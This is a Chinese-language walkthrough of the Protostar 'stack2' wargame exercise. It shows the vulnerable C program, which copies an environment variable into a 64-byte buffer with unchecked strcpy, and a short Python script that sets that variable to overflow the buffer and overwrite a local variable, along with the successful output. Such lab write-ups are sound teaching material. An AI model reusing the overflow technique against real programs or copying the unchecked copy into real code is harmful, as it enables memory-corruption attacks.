此次練習經過環境變量設置buffer的值,因此咱們須要在exploit中設置一個大於64字節的環境變量。python
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 #include <string.h> 5 6 int main(int argc, char **argv) 7 { 8 volatile int modified; 9 char buffer[64]; 10 char *variable; 11 12 variable = getenv("GREENIE"); 13 14 if(variable == NULL) { 15 errx(1, "please set the GREENIE environment variable\n"); 16 } 17 18 modified = 0; 19 20 strcpy(buffer, variable); 21 22 if(modified == 0x0d0a0d0a) { 23 printf("you have correctly modified the variable\n"); 24 } else { 25 printf("Try again, you got 0x%08x\n", modified); 26 } 27 28 }
從代碼中能夠看到,程序首先經過getenv得到環境變量GREENIE的值並賦給variable變量,再經過strcpy函數將variable的值傳遞給buffer,一樣沒有作長度檢測,可能發生棧溢出,最後判斷modified的值是否爲0x0d0a0d0a。
其實這個練習在payload上和stack1並無什麼變化,只要把最後修改成0x0a0d0a0d就能夠。
主要的問題是如何在python中設置環境變量爲非打印字符。函數
使用os模塊中的environ能夠設置環境變量,可是不能直接設置爲0x0a0d0a0d,環境變量設置的值要求是字符串,可是0x0a和0x0d又不是打印字符。因此使用decode函數,把十六進制轉換爲字符。代碼以下:spa
1 import os 2 payload = "616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161610a0d0a0d" 3 os.environ["GREENIE"] = payload.decode("hex") 4 cmd = "/opt/protostar/bin/stack2" 5 os.system(cmd)
執行結果:code
$ python exploit2.py
you have correctly modified the variable